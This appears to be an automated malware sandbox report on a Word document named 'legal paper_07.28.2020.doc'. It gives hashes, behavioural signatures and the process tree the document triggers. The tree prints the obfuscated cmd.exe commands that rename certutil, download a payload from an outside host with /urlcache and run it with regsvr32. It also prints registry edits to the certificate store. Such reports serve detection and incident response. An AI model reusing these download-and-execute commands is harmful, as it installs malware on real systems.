Analysis
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max time kernel
114s -
max time network
120s -
platform
windows7_x64 -
resource
win7 -
submitted
28-07-2020 19:12
Static task
static1
Behavioral task
behavioral1
Sample
legal paper_07.28.2020.doc
Resource
win7
Behavioral task
behavioral2
Sample
legal paper_07.28.2020.doc
Resource
win10v200722
General
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Target
legal paper_07.28.2020.doc
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Size
109KB
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MD5
27e1c0980b1737357b041154ac43acd2
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SHA1
686b652ec115e4ff259928b9b66cdbd4aaac7ce9
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SHA256
8d75e83e570e8faba7bfaf17b7d836d35681cd45e0bcf5366e29381fefb04dc1
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SHA512
f222fdf92eba821de1a8d6e809bc4846b5738b3195d7256f2214aaa3e479536804720befb8878318bc0462276b704a2f73a8b1a39aa1f4eb6c9e1dabcfe85195
Malware Config
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.execmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1000 608 cmd.exe WINWORD.EXE Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1612 608 cmd.exe WINWORD.EXE -
Loads dropped DLL 2 IoCs
Processes:
cmd.exeregsvr32.exepid process 1612 cmd.exe 1576 regsvr32.exe -
Executes dropped EXE 1 IoCs
Processes:
1.exepid process 1064 1.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
regsvr32.exepid process 1632 regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
regsvr32.exepid process 1576 regsvr32.exe 1576 regsvr32.exe -
Office loads VBA resources, possible macro or embedded object present
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
WINWORD.EXEpid process 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE 608 WINWORD.EXE -
Suspicious use of WriteProcessMemory 21 IoCs
Processes:
WINWORD.EXEcmd.exeregsvr32.exedescription pid process target process PID 608 wrote to memory of 1000 608 WINWORD.EXE cmd.exe PID 608 wrote to memory of 1000 608 WINWORD.EXE cmd.exe PID 608 wrote to memory of 1000 608 WINWORD.EXE cmd.exe PID 608 wrote to memory of 1612 608 WINWORD.EXE cmd.exe PID 608 wrote to memory of 1612 608 WINWORD.EXE cmd.exe PID 608 wrote to memory of 1612 608 WINWORD.EXE cmd.exe PID 1612 wrote to memory of 1064 1612 cmd.exe 1.exe PID 1612 wrote to memory of 1064 1612 cmd.exe 1.exe PID 1612 wrote to memory of 1064 1612 cmd.exe 1.exe PID 1612 wrote to memory of 1632 1612 cmd.exe regsvr32.exe PID 1612 wrote to memory of 1632 1612 cmd.exe regsvr32.exe PID 1612 wrote to memory of 1632 1612 cmd.exe regsvr32.exe PID 1612 wrote to memory of 1632 1612 cmd.exe regsvr32.exe PID 1612 wrote to memory of 1632 1612 cmd.exe regsvr32.exe PID 1632 wrote to memory of 1576 1632 regsvr32.exe regsvr32.exe PID 1632 wrote to memory of 1576 1632 regsvr32.exe regsvr32.exe PID 1632 wrote to memory of 1576 1632 regsvr32.exe regsvr32.exe PID 1632 wrote to memory of 1576 1632 regsvr32.exe regsvr32.exe PID 1632 wrote to memory of 1576 1632 regsvr32.exe regsvr32.exe PID 1632 wrote to memory of 1576 1632 regsvr32.exe regsvr32.exe PID 1632 wrote to memory of 1576 1632 regsvr32.exe regsvr32.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 1612 cmd.exe -
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 regsvr32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a regsvr32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a regsvr32.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 608 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\legal paper_07.28.2020.doc"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c set u=tutil&&call copy C:\Windows\System32\cer%u%.exe C:\ProgramData\1.exe2⤵
- Process spawned unexpected child process
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "set u=url&&call C:\ProgramData\1.exe /%u%^c^a^c^h^e^ /f^ http://apc846.com/bolb/jaent.php?l=liut2.cab C:\ProgramData\1.tmp && call regsvr32 C:\ProgramData\1.tmp"2⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
- An obfuscated cmd.exe command-line is typically used to evade detection.
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C:\ProgramData\1.exeC:\ProgramData\1.exe /urlcache /f http://apc846.com/bolb/jaent.php?l=liut2.cab C:\ProgramData\1.tmp3⤵
- Executes dropped EXE
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C:\Windows\system32\regsvr32.exeregsvr32 C:\ProgramData\1.tmp3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeC:\ProgramData\1.tmp4⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Modifies system certificate store
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\1.exe
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C:\ProgramData\1.tmp
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\ProgramData\1.exe
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\ProgramData\1.tmp
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memory/1000-3-0x0000000000000000-mapping.dmp
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memory/1064-6-0x0000000000000000-mapping.dmp
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memory/1576-10-0x0000000000000000-mapping.dmp
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memory/1612-4-0x0000000000000000-mapping.dmp
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memory/1632-8-0x0000000000000000-mapping.dmp